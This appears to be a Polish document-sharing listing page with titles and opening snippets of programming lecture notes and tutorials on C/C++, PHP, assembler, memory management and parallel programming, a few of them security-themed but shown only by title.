BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech BAZY DANYCH Obsługa bazy z poziomu języka PHP opracowanie: Michał Lech Plan wykładu 1. PHP - co to jest? 2. Bazy danych obsługiwane przez PHP 3. Podstawowe polecenia 4. Sesje 5. Przykład - dodawanie towaru

Bardziej szczegółowo

Warszawa dnia 2 stycznia 2011 r. Zbiór zadań z programowania w języku C do samodzielnego wykonania

Warszawa dnia 2 stycznia 2011 r. Zbiór zadań z programowania w języku C do samodzielnego wykonania Warszawa dnia 2 stycznia 2011 r. Przedmioty: Wstęp do programowania Wstęp do informatyki Zbiór zadań z programowania w języku C do samodzielnego wykonania Prowadzący; dr inż. Stanisław Wszelak Ćwiczenie

Bardziej szczegółowo

12. OPERACJE NA PLIKACH

12. OPERACJE NA PLIKACH 12. OPERACJE NA PLIKACH PHP, jako język skryptowy moŝe wykonywać się po stronie serwera, w tym takŝe wykonywać operację na plikach. W lekcji z pętlami mieliśmy juŝ przypadek pobrania z pliku odpowiednich

Bardziej szczegółowo

Elementy języka C. ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors.

Elementy języka C. ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors. Wykład 3 ACprogramislikeafastdanceonanewlywaxeddancefloorbypeople carrying razors. Waldi Ravens J. Cichoń, P. Kobylański Wstęp do Informatyki i Programowania 75 / 146 deklaracje zmiennych instrukcja podstawienia

Bardziej szczegółowo

Metody Realizacji Języków Programowania

Metody Realizacji Języków Programowania Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi

Bardziej szczegółowo

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl)

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Dlaczego Linux? Jądro 2.4 a 2.6 Włamania do systemów

Bardziej szczegółowo

Adam Kotynia, Łukasz Kowalczyk

Adam Kotynia, Łukasz Kowalczyk Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.

Bardziej szczegółowo

KURS C/C++ WYKŁAD 1. Pierwszy program

KURS C/C++ WYKŁAD 1. Pierwszy program KURS C/C++ WYKŁAD 1 Pierwszy program Tworzenie programu odbywa sie w dwóch etapach: 1. opracowanie kodu źródłowego 2. generowanie kodu wynikowego Pierwszy etap polega na zapisaniu algorytmu za pomocą instrukcji

Bardziej szczegółowo

I - Microsoft Visual Studio C++

I - Microsoft Visual Studio C++ I - Microsoft Visual Studio C++ 1. Nowy projekt z Menu wybieramy File -> New -> Projekt -> Win32 Console Application w okienku Name: podajemy nazwę projektu w polu Location: wybieramy miejsce zapisu i

Bardziej szczegółowo

Architektura komputerów. Asembler procesorów rodziny x86

Architektura komputerów. Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Rozkazy mikroprocesora Rozkazy mikroprocesora 8086 można podzielić na siedem funkcjonalnych

Bardziej szczegółowo

1 Podstawy c++ w pigułce.

1 Podstawy c++ w pigułce. 1 Podstawy c++ w pigułce. 1.1 Struktura dokumentu. Kod programu c++ jest zwykłym tekstem napisanym w dowolnym edytorze. Plikowi takiemu nadaje się zwykle rozszerzenie.cpp i kompiluje za pomocą kompilatora,

Bardziej szczegółowo

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej Podstawy informatyki Informatyka stosowana - studia niestacjonarne Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w Krakowie, rok

Bardziej szczegółowo

Jak napisać program obliczający pola powierzchni różnych figur płaskich?

Jak napisać program obliczający pola powierzchni różnych figur płaskich? Część IX C++ Jak napisać program obliczający pola powierzchni różnych figur płaskich? Na początku, przed stworzeniem właściwego kodu programu zaprojektujemy naszą aplikację i stworzymy schemat blokowy

Bardziej szczegółowo

W przeciwnym wypadku wykonaj instrukcję z bloku drugiego. Ćwiczenie 1 utworzyć program dzielący przez siebie dwie liczby

W przeciwnym wypadku wykonaj instrukcję z bloku drugiego. Ćwiczenie 1 utworzyć program dzielący przez siebie dwie liczby Część XI C++ W folderze nazwisko36 program za każdym razem sprawdza oba warunki co niepotrzebnie obciąża procesor. Ten problem można rozwiązać stosując instrukcje if...else Instrukcja if wykonuje polecenie

Bardziej szczegółowo

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02 METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się

Bardziej szczegółowo

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom).

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom). Zarządzanie pamięcią Pamięć: stos i sterta Statyczny i dynamiczny przydział pamięci Funkcje ANSI C do zarządzania pamięcią Przykłady: Dynamiczna tablica jednowymiarowa Dynamiczna tablica dwuwymiarowa 154

Bardziej szczegółowo

Struktura i działanie jednostki centralnej

Struktura i działanie jednostki centralnej Struktura i działanie jednostki centralnej ALU Jednostka sterująca Rejestry Zadania procesora: Pobieranie rozkazów; Interpretowanie rozkazów; Pobieranie danych Przetwarzanie danych Zapisywanie danych magistrala

Bardziej szczegółowo

Rekurencja (rekursja)

Rekurencja (rekursja) Rekurencja (rekursja) Rekurencja wywołanie funkcji przez nią samą wewnątrz ciała funkcji. Rekurencja może być pośrednia funkcja jest wywoływana przez inną funkcję, wywołaną (pośrednio lub bezpośrednio)

Bardziej szczegółowo

Wstęp. do języka C na procesor 8051. (kompilator RC51)

Wstęp. do języka C na procesor 8051. (kompilator RC51) Wstęp do języka C na procesor 8051 (kompilator RC51) Kompilator języka C Kompilator RC51 jest kompilatorem języka C w standardzie ANSI Ograniczeń w stosunku do ANSI jest niewiele głównie rzadkie operacje

Bardziej szczegółowo

Lekcja 10. Uprawnienia. Dołączanie plików przy pomocy funkcji include() Sprawdzanie, czy plik istnieje przy pmocy funkcji file_exists()

Lekcja 10. Uprawnienia. Dołączanie plików przy pomocy funkcji include() Sprawdzanie, czy plik istnieje przy pmocy funkcji file_exists() Paweł Gmys PHP strona 1 Lekcja 10 Uprawnienia Aby skrypt PHP mógł odwołać się do pliku, musi mieć odpowiednie uprawnienia. Szczegóły są zależne od serwera. Najczęściej chyba skrypt ma uprawnienia takie,

Bardziej szczegółowo

dr inż. Paweł Myszkowski Wykład nr 8 (22.04.2015)

dr inż. Paweł Myszkowski Wykład nr 8 (22.04.2015) dr inż. Paweł Myszkowski Politechnika Białostocka Wydział Elektryczny Elektronika i Telekomunikacja, semestr II, studia stacjonarne I stopnia Rok akademicki 2014/2015 Wykład nr 8 (22.04.2015) Plan prezentacji:

Bardziej szczegółowo

Programowanie procesorów graficznych NVIDIA (rdzenie CUDA) Wykład nr 1

Programowanie procesorów graficznych NVIDIA (rdzenie CUDA) Wykład nr 1 Programowanie procesorów graficznych NVIDIA (rdzenie CUDA) Wykład nr 1 Wprowadzenie Procesory graficzne GPU (Graphics Processing Units) stosowane są w kartach graficznych do przetwarzania grafiki komputerowej

Bardziej szczegółowo

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq)

SUMA KONTROLNA (icmp_cksum) NUMER KOLEJNY (icmp_seq) Program my_ping: wysłanie komunikatu ICMP z żądaniem echa Struktura icmp (plik netinet/ip_icmp.h) 0 7 8 15 16 31 TYP (icmp_type) KOD (icmp_code) IDENTYFIKATOR (icmp_id) SUMA KONTROLNA (icmp_cksum) NUMER

Bardziej szczegółowo

#include void main(void) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); }

#include <stdio.h> void main(void) { int x = 10; long y = 20; double s; s = x + y; printf ( %s obliczen %d + %ld = %f, Wynik, x, y, s ); } OPERACJE WEJŚCIA / WYJŚCIA Funkcja: printf() biblioteka: wysyła sformatowane dane do standardowego strumienia wyjściowego (stdout) int printf ( tekst_sterujący, argument_1, argument_2,... ) ;

Bardziej szczegółowo

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. 1. Rodzaje pamięci używanej w programach Pamięć komputera, dostępna dla programu,

Bardziej szczegółowo

Lista 2. int porownaj_liczby_normalnie(const int a, const int b) { if(a==b) return 0; if(a>b)return1; return-1; }

Lista 2. int porownaj_liczby_normalnie(const int a, const int b) { if(a==b) return 0; if(a>b)return1; return-1; } Lista 2 Poniższe zadania mają na celu jedynie pomoc w szlifowaniu umiejętności logicznego myślenia, analizowania i rozwiązywania pewnych zagadnienień algorytmicznych. Zadanie 1. W algorytmach opartych

Bardziej szczegółowo

Wskaźniki. Pamięć dynamiczna

Wskaźniki. Pamięć dynamiczna Wskaźniki. Pamięć dynamiczna wer. 8 z drobnymi modyfikacjami Wojciech Myszka 2015-04-13 11:39:01 +0200 Wskaźniki Wskaźniki to podstawa C. Kto nie umie się nimi posługiwać ten nie potrafi wykorzystać siły

Bardziej szczegółowo

Metody numeryczne Laboratorium 2

Metody numeryczne Laboratorium 2 Metody numeryczne Laboratorium 2 1. Tworzenie i uruchamianie skryptów Środowisko MATLAB/GNU Octave daje nam możliwość tworzenia skryptów czyli zapisywania grup poleceń czy funkcji w osobnym pliku i uruchamiania

Bardziej szczegółowo

ECLIPSE wnioski z dwóch pierwszych laboratoriów

ECLIPSE wnioski z dwóch pierwszych laboratoriów PODSTAWY PROGRAMOWANIA 3-4 WYKŁAD 22-10-2015 ECLIPSE wnioski z dwóch pierwszych laboratoriów Dodanie pliku i konfiguracji startowej (każdy uruchamiany program powinien mieć własna konfigurację startową)

Bardziej szczegółowo

Projektowanie klas c.d. Projektowanie klas przykład

Projektowanie klas c.d. Projektowanie klas przykład Projektowanie klas c.d. ogólne wskazówki dotyczące projektowania klas: o wyodrębnienie klasy odpowiedź na potrzeby życia (obsługa rozwiązania konkretnego problemu) o zwykle nie uda się utworzyć idealnej

Bardziej szczegółowo

XII. Warunek wielokrotnego wyboru switch... case

XII. Warunek wielokrotnego wyboru switch... case XII. Warunek wielokrotnego wyboru switch... case 12.1. Gdy mamy więcej niŝ dwie moŝliwości Do tej pory poznaliśmy warunek if... else... Po co nam kolejny? Trudno powiedzieć, ale na pewno nie po to, Ŝeby

Bardziej szczegółowo

Organizacja pamięci VRAM monitora znakowego. 1. Tryb pracy automatycznej

Organizacja pamięci VRAM monitora znakowego. 1. Tryb pracy automatycznej Struktura stanowiska laboratoryjnego Na rysunku 1.1 pokazano strukturę stanowiska laboratoryjnego Z80 z interfejsem częstościomierza- czasomierz PFL 21/22. Rys.1.1. Struktura stanowiska. Interfejs częstościomierza

Bardziej szczegółowo

wagi cyfry 7 5 8 2 pozycje 3 2 1 0

wagi cyfry 7 5 8 2 pozycje 3 2 1 0 Wartość liczby pozycyjnej System dziesiętny W rozdziale opiszemy pozycyjne systemy liczbowe. Wiedza ta znakomicie ułatwi nam zrozumienie sposobu przechowywania liczb w pamięci komputerów. Na pierwszy ogień

Bardziej szczegółowo

EGZAMIN MATURALNY 2011 INFORMATYKA

EGZAMIN MATURALNY 2011 INFORMATYKA Centralna Komisja Egzaminacyjna w Warszawie EGZAMIN MATURALNY 2011 INFORMATYKA POZIOM PODSTAWOWY MAJ 2011 2 Zadanie 1. a) (0 1) Egzamin maturalny z informatyki poziom podstawowy CZĘŚĆ I Obszar standardów

Bardziej szczegółowo

Programowanie w asemblerze Środowiska 64-bitowe

Programowanie w asemblerze Środowiska 64-bitowe Programowanie w asemblerze Środowiska 64-bitowe 24 listopada 2015 Nieco historii najnowszej Intel wraz z HP rozpoczynaja pracę nad procesorem 64-bitowym z wykorzystaniem technologii VLIW. Powstaje procesor

Bardziej szczegółowo

Klasy i obiekty cz II

Klasy i obiekty cz II Materiał pomocniczy do kursu Podstawy programowania Autor: Grzegorz Góralski ggoralski.com Klasy i obiekty cz II Hermetyzacja, mutatory, akcesory, ArrayList Rozwijamy aplikację Chcemy, aby obiekty klasy

Bardziej szczegółowo

Algorytmy i. Wykład 3: Stosy, kolejki i listy. Dr inż. Paweł Kasprowski. FIFO First In First Out (kolejka) LIFO Last In First Out (stos)

Algorytmy i. Wykład 3: Stosy, kolejki i listy. Dr inż. Paweł Kasprowski. FIFO First In First Out (kolejka) LIFO Last In First Out (stos) Algorytmy i struktury danych Wykład 3: Stosy, kolejki i listy Dr inż. Paweł Kasprowski pawel@kasprowski.pl Kolejki FIFO First In First Out (kolejka) LIFO Last In First Out (stos) Stos (stack) Dostęp jedynie

Bardziej szczegółowo

Komunikacja między sterownikami przez protokół ADS

Komunikacja między sterownikami przez protokół ADS Komunikacja między sterownikami przez protokół ADS Poziom trudności: łatwy Wersja dokumentacji: 1.0 Aktualizacja: 20.03.2015 Beckhoff Automation Sp. z o. o. Spis treści 1. Komunikacja ADS... 3 2. Konfiguracja

Bardziej szczegółowo

S Z K O Ł A H A K E R Ó W

S Z K O Ł A H A K E R Ó W S ZKOŁA HAKERÓW S ZKOŁA HAKERÓW EDYCJA 2.0 Podręcznik Interaktywny zestaw edukacyjny Tytuł: Szkoła Hakerów Podręcznik Wydanie trzecie, poprawione. ISBN: 83-9237-450-9 Copyright 2009 by wydawnictwo CSH.

Bardziej szczegółowo

Laboratorium 1. Programowanie II - Kierunek Informatyka. dr inż. Janusz Słupik. Gliwice, 2015. Wydział Matematyki Stosowanej Politechniki Śląskiej

Laboratorium 1. Programowanie II - Kierunek Informatyka. dr inż. Janusz Słupik. Gliwice, 2015. Wydział Matematyki Stosowanej Politechniki Śląskiej Laboratorium 1 - Kierunek Informatyka Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2015 c Copyright 2015 Janusz Słupik Punkty Na laboratorium można zdobyć 60 punktów. Ocena ogólna z zajęć:

Bardziej szczegółowo

Programowanie Proceduralne

Programowanie Proceduralne Programowanie Proceduralne Makefile Bożena Woźna-Szcześniak bwozna@gmail.com Akademia im. Jana Długosza Wykład 14 Co to jest Makefile Makefile jest plikiem reguł dla programu make. Wykorzystywany jest

Bardziej szczegółowo

Pascal typy danych. Typy pascalowe. Zmienna i typ. Podział typów danych:

Pascal typy danych. Typy pascalowe. Zmienna i typ. Podział typów danych: Zmienna i typ Pascal typy danych Zmienna to obiekt, który może przybierać różne wartości. Typ zmiennej to zakres wartości, które może przybierać zmienna. Deklarujemy je w nagłówku poprzedzając słowem kluczowym

Bardziej szczegółowo

Programowanie Proceduralne

Programowanie Proceduralne Programowanie Proceduralne Bożena Woźna-Szcześniak bwozna@gmail.com Jan Długosz University, Poland Wykład 7 strlen size_t strlen(char const *s); Oblicza długość napisu wskazywanego przez s Przykładowy

Bardziej szczegółowo

Rysowanie punktów na powierzchni graficznej

Rysowanie punktów na powierzchni graficznej Rysowanie punktów na powierzchni graficznej Tworzenie biblioteki rozpoczniemy od podstawowej funkcji graficznej gfxplot() - rysowania pojedynczego punktu na zadanych współrzędnych i o zadanym kolorze RGB.

Bardziej szczegółowo

Zajęcia 4 procedury i funkcje

Zajęcia 4 procedury i funkcje Zajęcia 4 procedury i funkcje 1. Napisz funkcję, która dokonuje dodania dwóch liczb przekazanych jako parametry. Następnie: zmień wartości zmiennych przekazanych jako parametry wewnątrz tej funkcji, ustaw

Bardziej szczegółowo

Kompilator języka C na procesor 8051 RC51 implementacja

Kompilator języka C na procesor 8051 RC51 implementacja Kompilator języka C na procesor 8051 RC51 implementacja Implementowane typy danych bit 1 bit char lub char signed 8 bitów char unsigned 8 bitów int lub signed int 16 bitów unsigned int 16 bitów long lub

Bardziej szczegółowo

Podstawy programowania w języku C++

Podstawy programowania w języku C++ Podstawy programowania w języku C++ Część jedenasta Reprezentacja i przetwarzanie plików Konwencja języka C Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.programowanie.siminskionline.pl Niniejsze

Bardziej szczegółowo

Podstawy programowania - 1

Podstawy programowania - 1 Podstawy programowania - 1 doc. dr inż. Tadeusz Jeleniewski Wykład: sobota B, godz. 10.30 12.55 sala 12 Laboratorium: sobota B, godz. 13.00 15.25 sala 2 sobota B, godz. 15.30-17.55 sala 2 e-mail: tadeusz.jeleniewski@pwr.wroc.pl

Bardziej szczegółowo

Programowanie w modelu przesyłania komunikatów specyfikacja MPI, cd. Krzysztof Banaś Obliczenia równoległe 1

Programowanie w modelu przesyłania komunikatów specyfikacja MPI, cd. Krzysztof Banaś Obliczenia równoległe 1 Programowanie w modelu przesyłania komunikatów specyfikacja MPI, cd. Krzysztof Banaś Obliczenia równoległe 1 MPI dynamiczne zarządzanie procesami MPI 2 umożliwia dynamiczne zarządzanie procesami, choć

Bardziej szczegółowo

MATERIAŁY POMOCNICZE PODSTAWY PROGRAMOWANIA Na podstawie: Programowanie w C - Stworzone na Wikibooks, bibliotece wolny podręczników

MATERIAŁY POMOCNICZE PODSTAWY PROGRAMOWANIA Na podstawie: Programowanie w C - Stworzone na Wikibooks, bibliotece wolny podręczników MATERIAŁY POMOCNICZE PODSTAWY PROGRAMOWANIA Na podstawie: Programowanie w C - Stworzone na Wikibooks, bibliotece wolny podręczników Funkcja getchar() Jest to bardzo prosta funkcja, wczytująca 1 znak z

Bardziej szczegółowo

Inż. Kamil Kujawski Inż. Krzysztof Krefta. Wykład w ramach zajęć Akademia ETI

Inż. Kamil Kujawski Inż. Krzysztof Krefta. Wykład w ramach zajęć Akademia ETI Inż. Kamil Kujawski Inż. Krzysztof Krefta Wykład w ramach zajęć Akademia ETI Metody programowania Assembler Język C BASCOM Assembler kod maszynowy Zalety: Najbardziej efektywny Intencje programisty są

Bardziej szczegółowo

Wprowadzenie do programowania w języku C

Wprowadzenie do programowania w języku C Wprowadzenie do programowania w języku C Część trzecia Autor Roman Simiński Kontakt siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie zawiera skrót treści wykładu, lektura tych materiałów

Bardziej szczegółowo

Wstęp do programowania 1

Wstęp do programowania 1 Wstęp do programowania 1 Struktury Bożena Woźna-Szcześniak bwozna@gmail.com Jan Długosz University, Poland Wykład 12 Struktura dla dat - przykład #include struct Date { int y; short m; short

Bardziej szczegółowo

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak Exploity, Rootkity i Shell Code Bartłomiej Rusiniak Styczeń 2003 Spis treści 1 Exploity 2 1.1 Błędy semantyczne.............................. 3 1.2 Błędy systemowe............................... 5 1.2.1

Bardziej szczegółowo